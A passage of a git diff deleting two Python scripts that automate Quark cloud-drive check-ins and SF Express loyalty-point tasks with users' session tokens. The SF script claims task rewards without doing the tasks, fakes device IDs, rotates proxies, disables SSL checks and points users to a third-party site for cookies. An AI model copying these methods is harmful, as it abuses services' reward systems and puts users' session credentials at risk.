- 例如: user=张三; url=https://drive-m.quark.cn/1/clouddrive/act/growth/reward?xxxxxx=xxxxxx&kps=abcdefg&sign=hijklmn&vcode=111111111;
- 旧版环境变量格式也兼容,例如: user=张三; kps=abcdefg; sign=hijklmn; vcode=111111111;
-'''
-import os
-import re
-import sys
-
-import requests
-
-# 测试用环境变量
-# os.environ['COOKIE_QUARK'] = ''
-
-try: # 异常捕捉
- from notify import send # 导入消息通知模块
-except Exception as err: # 异常捕捉
- print('%s\n❌加载通知服务失败~' % err)
-
-
-# 获取环境变量
-def get_env():
- # 判断 COOKIE_QUARK是否存在于环境变量
- if "COOKIE_QUARK" in os.environ:
- # 读取系统变量以 \n 或 && 分割变量
- cookie_list = re.split('\n|&&', os.environ.get('COOKIE_QUARK'))
- else:
- # 标准日志输出
- print('❌未添加COOKIE_QUARK变量')
- send('夸克自动签到', '❌未添加COOKIE_QUARK变量')
- # 脚本退出
- sys.exit(0)
-
- return cookie_list
-
-
-class Quark:
- '''
- Quark类封装了签到、领取签到奖励的方法
- '''
- def __init__(self, user_data):
- '''
- 初始化方法
- :param user_data: 用户信息,用于后续的请求
- '''
- self.param = user_data
-
- def convert_bytes(self, b):
- '''
- 将字节转换为 MB GB TB
- :param b: 字节数
- :return: 返回 MB GB TB
- '''
- units = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
- i = 0
- while b >= 1024 and i < len(units) - 1:
- b /= 1024
- i += 1
- return f"{b:.2f} {units[i]}"
-
- def get_growth_info(self):
- '''
- 获取用户当前的签到信息
- :return: 返回一个字典,包含用户当前的签到信息
- '''
- url = "https://drive-m.quark.cn/1/clouddrive/capacity/growth/info"
- querystring = {
- "pr": "ucpro",
- "fr": "android",
- "kps": self.param.get('kps'),
- "sign": self.param.get('sign'),
- "vcode": self.param.get('vcode')
- }
- response = requests.get(url=url, params=querystring).json()
- #print(response)
- if response.get("data"):
- return response["data"]
- else:
- return False
-
- def get_growth_sign(self):
- '''
- 获取用户当前的签到信息
- :return: 返回一个字典,包含用户当前的签到信息
- '''
- url = "https://drive-m.quark.cn/1/clouddrive/capacity/growth/sign"
- querystring = {
- "pr": "ucpro",
- "fr": "android",
- "kps": self.param.get('kps'),
- "sign": self.param.get('sign'),
- "vcode": self.param.get('vcode')
- }
- data = {"sign_cyclic": True}
- response = requests.post(url=url, json=data, params=querystring).json()
- #print(response)
- if response.get("data"):
- return True, response["data"]["sign_daily_reward"]
- else:
- return False, response["message"]
-
- def queryBalance(self):
- '''
- 查询抽奖余额
- '''
- url = "https://coral2.quark.cn/currency/v1/queryBalance"
- querystring = {
- "moduleCode": "1f3563d38896438db994f118d4ff53cb",
- "kps": self.param.get('kps'),
- }
- response = requests.get(url=url, params=querystring).json()
- # print(response)
- if response.get("data"):
- return response["data"]["balance"]
- else:
- return response["msg"]
-
- def do_sign(self):
- '''
- 执行签到任务
- :return: 返回一个字符串,包含签到结果
- '''
- log = ""
- # 每日领空间
- growth_info = self.get_growth_info()
- if growth_info:
- log += (
- f" {'88VIP' if growth_info['88VIP'] else '普通用户'} {self.param.get('user')}\n"
- f"💾 网盘总容量:{self.convert_bytes(growth_info['total_capacity'])},"
- f"签到累计容量:")
- if "sign_reward" in growth_info['cap_composition']:
- log += f"{self.convert_bytes(growth_info['cap_composition']['sign_reward'])}\n"
- else:
- log += "0 MB\n"
- if growth_info["cap_sign"]["sign_daily"]:
- log += (
- f"✅ 签到日志: 今日已签到+{self.convert_bytes(growth_info['cap_sign']['sign_daily_reward'])},"
- f"连签进度({growth_info['cap_sign']['sign_progress']}/{growth_info['cap_sign']['sign_target']})\n"
- )
- else:
- sign, sign_return = self.get_growth_sign()
- if sign:
- log += (
- f"✅ 执行签到: 今日签到+{self.convert_bytes(sign_return)},"
- f"连签进度({growth_info['cap_sign']['sign_progress'] + 1}/{growth_info['cap_sign']['sign_target']})\n"
- )
- else:
- log += f"❌ 签到异常: {sign_return}\n"
- else:
- log += f"❌ 签到异常: 获取成长信息失败\n"
-
- return log
-
-
-def extract_params(url):
- '''
- 从URL中提取所需的参数
- :param url: 包含参数的URL
- :return: 返回一个字典,包含所需的参数
- '''
- # 提取URL中的查询参数部分(?后面的内容)
- query_start = url.find('?')
- query_string = url[query_start + 1:] if query_start != -1 else ''
-
- # 解析查询参数
- params = {}
- for param in query_string.split('&'):
- if '=' in param:
- key, value = param.split('=', 1)
- params[key] = value
-
- # 返回所需的参数
- return {
- 'kps': params.get('kps', ''),
- 'sign': params.get('sign', ''),
- 'vcode': params.get('vcode', '')
- }
-
-
-def main():
- '''
- 主函数
- :return: 返回一个字符串,包含签到结果
- '''
- msg = ""
- global cookie_quark
- cookie_quark = get_env()
-
- print("✅ 检测到共", len(cookie_quark), "个夸克账号\n")
-
- i = 0
- while i < len(cookie_quark):
- # 获取user_data参数
- user_data = {} # 用户信息
- for a in cookie_quark[i].replace(" ", "").split(';'):
- if not a == '':
- user_data.update({a[0:a.index('=')]: a[a.index('=') + 1:]})
-
- # 从url参数中提取额外信息
- if 'url' in user_data:
- url_params = extract_params(user_data['url'])
- user_data.update(url_params)
- # print(user_data)
-
- # 开始任务
- log = f"🙍🏻♂️ 第{i + 1}个账号"
- msg += log
- # 登录
- log = Quark(user_data).do_sign()
- msg += log + "\n"
-
- i += 1
-
- print(msg)
-
- try:
- send('夸克自动签到', msg)
- except Exception as err:
- print('%s\n❌ 错误,请查看运行日志!' % err)
-
- return msg[:-1]
-
-
-if __name__ == "__main__":
- print("----------夸克网盘开始签到----------")
- main()
- print("----------夸克网盘签到完毕----------")
\ No newline at end of file
diff --git a/daily/sfsy.py b/daily/sfsy.py
deleted file mode 100644
index aa3a10d0..00000000
--- a/daily/sfsy.py
+++ /dev/null
@@ -1,1200 +0,0 @@
-"""
-顺丰速运日常积分任务
-Author: 爱学习的呆子
-Version: 1.3.0
-Date: 2026-04-04
-new Env("顺丰速运日常任务")
-变量名:sfsyUrl
-mcs-mimp-web.sf-express.com中的cookie
-cron 0 12 * * *
-"""
-# 扫码获取ck地址:https://sm.9999.blue/
-import hashlib
-import json
-import os
-import random
-import time
-from datetime import datetime
-from typing import Dict, List, Optional, Any
-from dataclasses import dataclass
-from urllib.parse import unquote, urlparse, parse_qs
-from concurrent.futures import ThreadPoolExecutor, as_completed
-from threading import Lock
-import requests
-from requests.packages.urllib3.exceptions import InsecureRequestWarning
-
-# 禁用SSL警告
-requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
-
-# ==================== 代理相关配置常量 ====================
-PROXY_TIMEOUT = 15 # 代理超时时间(秒)
-MAX_PROXY_RETRIES = 5 # 最大代理重试次数
-REQUEST_RETRY_COUNT = 3 # 请求重试次数
-
-# ==================== 并发配置常量 ====================
-CONCURRENT_NUM = int(os.getenv('SFBF', '1')) # 并发数量,默认为1(串行),最大20
-if CONCURRENT_NUM > 20:
- CONCURRENT_NUM = 20
- print(f'⚠️ 并发数量超过最大值20,已自动调整为20')
-elif CONCURRENT_NUM < 1:
- CONCURRENT_NUM = 1
- print(f'⚠️ 并发数量小于1,已自动调整为1(串行模式)')
-
-# 全局线程锁
-print_lock = Lock() # 用于保护打印输出
-
-
-# ==================== 配置类 ====================
-@dataclass
-class Config:
- """全局配置"""
- APP_NAME: str = "顺丰速运"
- VERSION: str = "1.2.0"
- ENV_NAME: str = "sfsyUrl"
- PROXY_API_URL: str = os.getenv('SF_PROXY_API_URL', '')
-
- # 代理相关配置常量
- PROXY_TIMEOUT = 15 # 代理时间(秒)
- MAX_PROXY_RETRIES = 5 # 最大代理重试次数
- REQUEST_RETRY_COUNT = 3 # 请求重试次数
-
- # API签名配置
- TOKEN: str = 'wwesldfs29aniversaryvdld29'
- SYS_CODE: str = 'MCS-MIMP-CORE'
-
- # 任务跳过列表
- SKIP_TASKS: List[str] = None
-
- def __post_init__(self):
- if self.SKIP_TASKS is None:
- # 尝试直接提交所有任务,看看能否领取奖励
- # 原本跳过的任务:'用行业模板寄件下单'、'去新增一个收件偏好'
- self.SKIP_TASKS = ['用行业模板寄件下单','用积分兑任意礼品','参与积分活动','每月累计寄件','完成每月任务','去使用AI寄件']
-
-
-# ==================== 日志系统 ====================
-class Logger:
- """
- 日志管理器 - 实现图片中的日志风格
- """
-
- # 日志图标
- ICONS = {
- 'task_found': '🎯', # 发现任务
- 'task_skip': '⏭️', # 跳过任务
- 'task_complete': '✅', # 任务完成
- 'reward_get': '🎁', # 奖励领取
- 'info': '📝', # 普通信息
- 'success': '✨', # 成功
- 'error': '❌', # 错误
- 'warning': '⚠️', # 警告
- 'user': '👤', # 用户信息
- 'money': '💰', # 积分/金币
- 'gift': '🎁', # 礼物
- 'target': '🎯', # 目标
- }
-
- def __init__(self):
- self.messages: List[str] = []
- self.current_account_msg: List[str] = []
- self.lock = Lock() # 每个Logger实例独立的锁
-
- def _format_msg(self, icon: str, content: str) -> str:
- """格式化消息"""
- return f"{icon} {content}"
-
- def _safe_print(self, msg: str):
- """线程安全的打印"""
- with print_lock:
- print(msg)
-
- def task_found(self, task_name: str, status: int = 2):
- """发现任务"""
- msg = self._format_msg(self.ICONS['task_found'], f"发现任务: {task_name} (状态: {status})")
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def task_skip(self, task_name: str):
- """跳过任务"""
- msg = self._format_msg(self.ICONS['task_skip'], f"[{task_name}] 已跳过")
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def task_complete(self, task_name: str):
- """任务完成"""
- msg = self._format_msg(self.ICONS['task_complete'], f"[{task_name}] 提交成功")
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def reward_get(self, task_name: str):
- """奖励领取成功"""
- msg = self._format_msg(self.ICONS['reward_get'], f"[{task_name}] 奖励领取成功")
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def info(self, content: str):
- """普通信息"""
- msg = self._format_msg(self.ICONS['info'], content)
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def success(self, content: str):
- """成功信息"""
- msg = self._format_msg(self.ICONS['success'], content)
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def error(self, content: str):
- """错误信息"""
- msg = self._format_msg(self.ICONS['error'], content)
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def warning(self, content: str):
- """警告信息"""
- msg = self._format_msg(self.ICONS['warning'], content)
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def user_info(self, account_index: int, mobile: str):
- """用户信息"""
- msg = self._format_msg(self.ICONS['user'], f"账号{account_index}: 【{mobile}】登录成功")
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def points_info(self, points: int, prefix: str = "当前积分"):
- """积分信息"""
- msg = self._format_msg(self.ICONS['money'], f"{prefix}: 【{points}】")
- self._safe_print(msg)
- with self.lock:
- self.current_account_msg.append(msg)
- self.messages.append(msg)
-
- def reset_account_msg(self):
- """重置当前账号消息"""
- self.current_account_msg = []
-
- def get_all_messages(self) -> str:
- """获取所有消息"""
- return '\n'.join(self.messages)
-
- def get_account_messages(self) -> str:
- """获取当前账号消息"""
- return '\n'.join(self.current_account_msg)
-
-
-# ==================== 代理管理器 ====================
-class ProxyManager:
- """代理管理器"""
-
- def __init__(self, api_url: str):
- self.api_url = api_url
- self.logger = Logger()
-
- def get_proxy(self) -> Optional[Dict[str, str]]:
- """获取代理
- 返回格式:{'http': 'http://ip:port', 'https': 'http://ip:port'}
- """
- try:
- if not self.api_url:
- print('⚠️ 未配置代理API地址,将不使用代理')
- return None
-
- response = requests.get(self.api_url, timeout=10)
- if response.status_code == 200:
- proxy_text = response.text.strip()
- if ':' in proxy_text:
- # 构建代理URL
- if proxy_text.startswith('http://') or proxy_text.startswith('https://'):
- proxy = proxy_text
- else:
- proxy = f'http://{proxy_text}'
-
- # 隐藏认证信息用于显示(如果有的话)
- display_proxy = proxy
- if '@' in proxy:
- # 格式: http://user:pass@ip:port
- parts = proxy.split('@')
- if len(parts) == 2:
- display_proxy = f"http://***:***@{parts[1]}"
-
- print(f"✅ 成功获取代理: {display_proxy}")
- return {'http': proxy, 'https': proxy}
-
- print(f'❌ 获取代理失败: {response.text}')
- return None
- except Exception as e:
- print(f'❌ 获取代理异常: {str(e)}')
- return None
-
-
-# ==================== HTTP客户端 ====================
-class SFHttpClient:
- """顺丰HTTP客户端"""
-
- def __init__(self, config: Config, proxy_manager: ProxyManager):
- self.config = config
- self.proxy_manager = proxy_manager
- self.session = requests.Session()
- self.session.verify = False
-
- # 设置代理
- proxy = self.proxy_manager.get_proxy()
- if proxy:
- self.session.proxies = proxy
-
- # 默认请求头
- self.headers = {
- 'Host': 'mcs-mimp-web.sf-express.com',
- 'upgrade-insecure-requests': '1',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090551) XWEB/6945 Flue',
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
- 'sec-fetch-site': 'none',
- 'sec-fetch-mode': 'navigate',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'document',
- 'accept-language': 'zh-CN,zh',
- 'platform': 'MINI_PROGRAM',
- }
-
- def _generate_sign(self) -> Dict[str, str]:
- """生成API签名"""
- timestamp = str(int(round(time.time() * 1000)))
- data = f'token={self.config.TOKEN}×tamp={timestamp}&sysCode={self.config.SYS_CODE}'
- signature = hashlib.md5(data.encode()).hexdigest()
-
- return {
- 'sysCode': self.config.SYS_CODE,
- 'timestamp': timestamp,
- 'signature': signature
- }
-
- def request(
- self,
- url: str,
- method: str = 'POST',
- data: Optional[Dict] = None,
- max_retries: int = REQUEST_RETRY_COUNT
- ) -> Optional[Dict[str, Any]]:
- """发送HTTP请求,带双层重试机制
-
- Args:
- url: 请求URL
- method: 请求方法 GET/POST
- data: 请求数据
- max_retries: 最大重试次数
-
- Returns:
- 响应JSON数据或None
- """
- # 更新签名
- sign_data = self._generate_sign()
- self.headers.update(sign_data)
-
- retry_count = 0
- proxy_retry_count = 0
-
- while proxy_retry_count < MAX_PROXY_RETRIES:
- try:
- # 如果请求重试次数达到2次,尝试切换代理
- if retry_count >= 2:
- print('请求已失败2次,尝试切换代理IP')
- new_proxy = self.proxy_manager.get_proxy()
- if new_proxy:
- self.session.proxies = new_proxy
- else:
- print('⚠️ 切换代理失败,无可用代理')
- retry_count = 0 # 重置请求重试计数
-
- try:
- if method.upper() == 'GET':
- response = self.session.get(url, headers=self.headers, timeout=PROXY_TIMEOUT)
- elif method.upper() == 'POST':
- response = self.session.post(url, headers=self.headers, json=data or {}, timeout=PROXY_TIMEOUT)
- else:
- raise ValueError(f'不支持的请求方法: {method}')
-
- # 检查响应状态码
- response.raise_for_status()
-
- try:
- res = response.json()
- if res is None:
- print(f'响应内容为空,正在重试 ({retry_count + 1}/{max_retries})')
- retry_count += 1
- time.sleep(2)
- continue
- return res
- except (json.JSONDecodeError, ValueError) as e:
- print(f'JSON解析失败: {str(e)}, 响应内容: {response.text[:200]}')
- retry_count += 1
- if retry_count < max_retries:
- print(f'正在进行第{retry_count + 1}次重试...')
- time.sleep(2)
- continue
- return None
-
- except requests.exceptions.RequestException as e:
- retry_count += 1
- print(f'请求失败,正在重试 ({retry_count}/{max_retries}): {str(e)}')
- # 如果是代理错误或SSL错误,增加代理重试计数
- if 'ProxyError' in str(e) or 'SSLError' in str(e):
- proxy_retry_count += 1
- print(f'代理连接失败,尝试切换代理 ({proxy_retry_count}/{MAX_PROXY_RETRIES})')
- if proxy_retry_count < MAX_PROXY_RETRIES:
- new_proxy = self.proxy_manager.get_proxy()
- if new_proxy:
- self.session.proxies = new_proxy
- time.sleep(2)
- continue
-
- except Exception as e:
- print(f'请求发生异常: {str(e)}')
- proxy_retry_count += 1
- if proxy_retry_count < MAX_PROXY_RETRIES:
- print(f'尝试切换代理 ({proxy_retry_count}/{MAX_PROXY_RETRIES})')
- time.sleep(2)
- continue
- else:
- print('达到最大代理重试次数,返回None')
- return None
-
- print('请求最终失败,返回None')
- return None
-
- def login(self, url: str, timeout: int = PROXY_TIMEOUT) -> tuple[bool, str, str]:
- """
- 登录(兼容URL和CK格式)
-
- Args:
- url: 登录URL 或 CK字符串(sessionId=xxx;_login_mobile_=xxx;_login_user_id_=xxx)
- timeout: 超时时间(秒)
-
- Returns:
- tuple: (是否成功, user_id, 手机号)
- """
- try:
- decoded_input = unquote(url)
- if decoded_input.startswith('sessionId=') or '_login_mobile_=' in decoded_input:
- cookie_dict = {}
- for item in decoded_input.split(';'):
- item = item.strip()
- if '=' in item:
- k, v = item.split('=', 1)
- cookie_dict[k] = v
- for k, v in cookie_dict.items():
- self.session.cookies.set(k, v, domain='mcs-mimp-web.sf-express.com')
- user_id = cookie_dict.get('_login_user_id_', '')
- phone = cookie_dict.get('_login_mobile_', '')
- if phone:
- return True, user_id, phone
- else:
- return False, '', ''
- else:
- decoded_url = unquote(url)
- self.session.get(decoded_url, headers=self.headers, timeout=timeout)
- cookies = self.session.cookies.get_dict()
- user_id = cookies.get('_login_user_id_', '')
- phone = cookies.get('_login_mobile_', '')
- if phone:
- return True, user_id, phone
- else:
- return False, '', ''
- except Exception as e:
- print(f'登录异常: {str(e)}')
- return False, '', ''
-
-
-# ==================== 任务执行器 ====================
-class TaskExecutor:
- """任务执行器"""
-
- def __init__(
- self,
- http_client: SFHttpClient,
- logger: Logger,
- config: Config,
- user_id: str
- ):
- self.http = http_client
- self.logger = logger
- self.config = config
- self.user_id = user_id
- self.total_points = 0
-
- # 任务相关属性
- self.taskId = ""
- self.taskCode = ""
- self.strategyId = ""
- self.title = ""
-
- @staticmethod
- def generate_device_id(characters: str = 'abcdef0123456789') -> str:
- """生成设备ID"""
- result = ''
- for char in 'xxxxxxxx-xxxx-xxxx':
- if char == 'x':
- result += random.choice(characters)
- else:
- result += char
- return result
-
- def _extract_task_id_from_url(self, url: str) -> str:
- """从URL中提取taskId"""
- try:
- from urllib.parse import parse_qs, urlparse, unquote
- import json
-
- # 处理_ug_view_param参数
- parsed = urlparse(url)
- params = parse_qs(parsed.query)
-
- if '_ug_view_param' in params:
- ug_params = json.loads(unquote(params['_ug_view_param'][0]))
- if 'taskId' in ug_params:
- return str(ug_params['taskId']) # 确保返回字符串类型
-
- # 如果URL是JSON格式的,尝试解析
- if url.startswith('com.sf-express://'):
- json_str = url.split('_ug_view_param=')[1]
- ug_params = json.loads(unquote(json_str))
- if 'taskId' in ug_params:
- return str(ug_params['taskId']) # 确保返回字符串类型
-
- except Exception as e:
- self.logger.warning(f'从URL提取taskId失败: {e}')
-
- return ''
-
- def _set_task_attrs(self, task: Dict) -> None:
- """设置任务属性"""
- self.taskId = str(task.get('taskId', '')) # 确保是字符串类型
- self.taskCode = str(task.get('taskCode', '')) # 确保是字符串类型
- self.strategyId = int(task.get('strategyId', 0)) # 确保是整数类型
- self.title = str(task.get('title', '未知任务'))
- self.point = int(task.get('point', 0)) # 确保是整数类型
-
- # 如果taskCode为空,尝试从buttonRedirect中提取
- if not self.taskCode and 'buttonRedirect' in task:
- extracted_task_id = self._extract_task_id_from_url(task['buttonRedirect'])
- if extracted_task_id:
- self.taskCode = extracted_task_id
- self.logger.info(f'从buttonRedirect中提取到taskId: {self.taskCode}')
-
- def app_sign_in(self) -> tuple[bool, str]:
- """APP每日签到(使用getUnFetchPointAndDiscount接口触发签到+领取)
-
- Returns:
- tuple[bool, str]: (是否成功, 错误信息)
- """
- url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~getUnFetchPointAndDiscount'
- data = {}
-
- # 保存原有的platform头
- original_platform = self.http.headers.get('platform', 'MINI_PROGRAM')
-
- # 临时切换为APP平台
- self.http.headers['platform'] = 'SFAPP'
-
- try:
- response = self.http.request(url, data=data)
- if response and response.get('success'):
- obj = response.get('obj', [])
-
- # 响应是一个数组,包含待领取的奖励
- if obj and isinstance(obj, list) and len(obj) > 0:
- total_points = 0
- reward_names = []
- for item in obj:
- packet_name = item.get('packetName', '未知奖励')
- detail_value = item.get('detailValue', '0')
- reward_names.append(packet_name)
- try:
- total_points += int(detail_value)
- except:
- pass
-
- self.logger.success(f'[APP签到] 签到成功,获得【{", ".join(reward_names)}】')
- else:
- self.logger.info(f'[APP签到] 今日已签到或无可领取奖励')
-
- return True, ''
- else:
- error_msg = response.get('errorMessage', '未知错误') if response else '请求失败'
-
- # 如果返回"没有待领取礼包",等待1秒后再次调用接口
- if '没有待领取礼包' in error_msg:
- self.logger.info(f'[APP签到] 检测到需要二次领取,等待1秒后重试...')
- time.sleep(1)
-
- # 再次调用getUnFetchPointAndDiscount接口
- response2 = self.http.request(url, data=data)
- if response2 and response2.get('success'):
- obj2 = response2.get('obj', [])
-
- if obj2 and isinstance(obj2, list) and len(obj2) > 0:
- total_points = 0
- reward_names = []
- for item in obj2:
- packet_name = item.get('packetName', '未知奖励')
- detail_value = item.get('detailValue', '0')
- reward_names.append(packet_name)
- try:
- total_points += int(detail_value)
- except:
- pass
-
- self.logger.success(f'[APP签到] 二次领取成功,获得【{", ".join(reward_names)}】')
- else:
- self.logger.info(f'[APP签到] 二次领取完成,但无可领取奖励')
-
- return True, ''
- else:
- error_msg2 = response2.get('errorMessage', '未知错误') if response2 else '请求失败'
- self.logger.error(f'[APP签到] 二次领取失败: {error_msg2}')
- return False, error_msg2
- else:
- self.logger.error(f'[APP签到] 失败: {error_msg}')
- return False, error_msg
- finally:
- # 恢复原有的platform头
- self.http.headers['platform'] = original_platform
-
- def sign_in(self) -> tuple[bool, str]:
- """小程序每日签到
-
- Returns:
- tuple[bool, str]: (是否成功, 错误信息)
- """
- url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage'
- data = {"comeFrom": "vioin", "channelFrom": "WEIXIN"}
-
- response = self.http.request(url, data=data)
- if response and response.get('success'):
- count_day = response.get('obj', {}).get('countDay', 0)
- packet_list = response.get('obj', {}).get('integralTaskSignPackageVOList', [])
-
- if packet_list:
- packet_name = packet_list[0].get('packetName', '未知奖励')
- self.logger.success(f'签到成功,获得【{packet_name}】,本周累计签到【{count_day + 1}】天')
- else:
- self.logger.info(f'今日已签到,本周累计签到【{count_day + 1}】天')
- return True, ''
- else:
- error_msg = response.get('errorMessage', '未知错误') if response else '请求失败'
- self.logger.error(f'签到失败: {error_msg}')
- return False, error_msg
-
- def new_sign_in(self) -> tuple[bool, str]:
- """新签到(integralSignV2Service)
-
- Returns:
- tuple[bool, str]: (是否成功, 错误信息)
- """
- url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralSignV2Service~sign'
- data = {}
-
- original_platform = self.http.headers.get('platform', 'MINI_PROGRAM')
- self.http.headers['platform'] = 'SFAPP'
-
- try:
- response = self.http.request(url, data=data)
- if response and response.get('success'):
- obj = response.get('obj', {})
- signed = obj.get('signed', False)
- day_count = obj.get('dayCount', 0)
- total_count = obj.get('totalCount', 0)
- award = obj.get('award', {})
- award_type = obj.get('awardType', '')
- award_num = obj.get('awardNum', 0)
-
- if signed and award:
- gift_bag_name = award.get('giftBagName', '未知奖励')
- self.logger.success(f'[新签到] 签到成功,连续第{day_count}天,获得【{gift_bag_name}】')
- elif signed:
- self.logger.info(f'[新签到] 今日已签到,连续第{day_count}天')
- else:
- self.logger.info(f'[新签到] 签到完成')
-
- return True, ''
- else:
- error_msg = response.get('errorMessage', '未知错误') if response else '请求失败'
- self.logger.error(f'[新签到] 失败: {error_msg}')
- return False, error_msg
- finally:
- self.http.headers['platform'] = original_platform
-
- def get_task_list(self) -> List[Dict]:
- """获取任务列表"""
- url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~queryPointTaskAndSignFromES'
-
- all_tasks = []
- task_codes_seen = set()
-
- for channel_type in ['1', '2', '3', '4','01','02','03','04']:
- data = {
- 'channelType': channel_type,
- 'deviceId': self.generate_device_id(),
- }
-
- response = self.http.request(url, data=data)
-
- if response and response.get('success') and response.get('obj'):
- # 只在第一次请求时获取总积分
- if channel_type == '1':
- self.total_points = response['obj'].get('totalPoint', 0)
-
- tasks = response['obj'].get('taskTitleLevels', [])
-
- # 去重添加任务
- for task in tasks:
- task_code = task.get('taskCode')
- task_title = task.get('title', '未知任务')
-
- # 尝试提取taskId
- if 'buttonRedirect' in task:
- extracted_id = self._extract_task_id_from_url(task['buttonRedirect'])
- if extracted_id and not task_code:
- task_code = extracted_id
- task['taskCode'] = extracted_id
-
- # 如果taskCode为空,但能从buttonRedirect中提取到taskId,则使用提取的taskId
- if not task_code and 'buttonRedirect' in task:
- extracted_id = self._extract_task_id_from_url(task['buttonRedirect'])
- if extracted_id:
- task['taskCode'] = extracted_id
- task_code = extracted_id
-
- # 如果taskCode仍然为空,则跳过
- if not task_code:
- continue
-
- # 检查是否已存在相同taskCode的任务
- if task_code not in task_codes_seen:
- task_codes_seen.add(task_code)
- all_tasks.append(task)
- else:
- error_msg = response.get('errorMessage', '未知错误') if response else '请求失败'
- self.logger.warning(f'获取 channelType={channel_type} 的任务失败: {error_msg}')
-
- return all_tasks
-
- def execute_task(self) -> bool:
- """执行单个任务"""
- url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask'
- data = {'taskCode': self.taskCode}
-
- response = self.http.request(url, data=data)
- if response and response.get('success'):
- return True
- return False
-
- def _update_points(self):
- """更新积分显示"""
- tasks = self.get_task_list()
- if tasks:
- self.logger.points_info(self.total_points, "当前积分")
-
- def receive_task_reward(self) -> bool:
- """领取任务奖励"""
- url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~fetchIntegral'
- data = {
- "strategyId": self.strategyId,
- "taskId": self.taskId,
- "taskCode": self.taskCode,
- "deviceId": self.generate_device_id()
- }
-
- response = self.http.request(url, data=data)
- if response:
- if response.get('success'):
- self.logger.success(f'成功领取任务奖励: {self.title}')
- return True
- return False
-
- def get_welfare_list(self) -> List[Dict]:
- """获取生活特权列表"""
- url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~mallGoodsLifeService~list'
- data = {
- "memGrade": 3,
- "categoryCode": "SHTQ",
- "showCode": "SHTQWNTJ"
- }
-
- response = self.http.request(url, data=data)
- if response and response.get('success'):
- obj_list = response.get('obj', [])
- # 收集所有可领取的特权
- welfare_list = []
- for module in obj_list:
- goods_list = module.get('goodsList', [])
- for goods in goods_list:
- # exchangeStatus=1 表示可以领取
- if goods.get('exchangeStatus') == 1:
- welfare_list.append({
- 'goodsId': goods.get('goodsId'),
- 'goodsNo': goods.get('goodsNo'),
- 'goodsName': goods.get('goodsName'),
- 'showName': goods.get('showName', ''),
- 'id': goods.get('id')
- })
- return welfare_list
- return []
-
- def receive_welfare(self, goods_no: str, goods_name: str, task_code: str) -> bool:
- """领取生活特权"""
- url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder'
- data = {
- "from": "Point_Mall",
- "orderSource": "POINT_MALL_EXCHANGE",
- "goodsNo": goods_no,
- "quantity": 1,
- "taskCode": task_code
- }
-
- response = self.http.request(url, data=data)
- if response and response.get('success'):
- order_no = response.get('obj', {}).get('orderNo', '')
- self.logger.success(f'成功领取生活特权: {goods_name} (订单号: {order_no})')
- return True
- else:
- error_msg = response.get('errorMessage', '未知错误') if response else '请求失败'
- self.logger.error(f'领取生活特权失败: {goods_name} - {error_msg}')
- return False
-
- def handle_welfare_task(self, task_title: str) -> bool:
- """处理领取生活特权任务"""
- self.logger.info('正在获取生活特权列表...')
-
- welfare_list = self.get_welfare_list()
- if not welfare_list:
- self.logger.warning('没有可领取的生活特权')
- return False
-
- self.logger.info(f'找到 {len(welfare_list)} 个可领取的生活特权')
-
- # 尝试领取第一个可用的特权
- for welfare in welfare_list:
- goods_no = welfare.get('goodsNo')
- goods_name = welfare.get('goodsName')
- show_name = welfare.get('showName')
-
- if not goods_no:
- continue
-
- display_name = f"{show_name} - {goods_name}" if show_name else goods_name
-
- # 使用任务的 taskCode
- if self.receive_welfare(goods_no, display_name, self.taskCode):
- return True
-
- # 如果领取失败,等待一下再尝试下一个
- time.sleep(1)
-
- return False
-
- def run_all_tasks(self) -> tuple[int, int]:
- """执行所有任务
-
- Returns:
- tuple: (执行前积分, 执行后积分)
- """
- print('-'*50)
-
- # 只在这里显示一次任务列表更新信息
- self.logger.info('正在获取任务列表...')
- tasks = self.get_task_list()
- if not tasks:
- self.logger.error('获取任务列表失败')
- return (0, 0)
-
- points_before = self.total_points
- self.logger.points_info(points_before, "执行前积分")
-
- for task in tasks:
- task_title = task.get('title', '未知任务')
- task_status = task.get('status')
-
- # 状态3表示已完成
- if task_status == 3:
- self.logger.success(f'{task_title} - 已完成')
- continue
-
- # 跳过特定任务
- if task_title in self.config.SKIP_TASKS:
- self.logger.task_skip(task_title)
- continue
-
- # 提取任务属性
- self._set_task_attrs(task)
-
- # 检查是否成功提取 taskCode
- if not self.taskCode:
- # 如果taskCode为空,尝试从buttonRedirect中提取
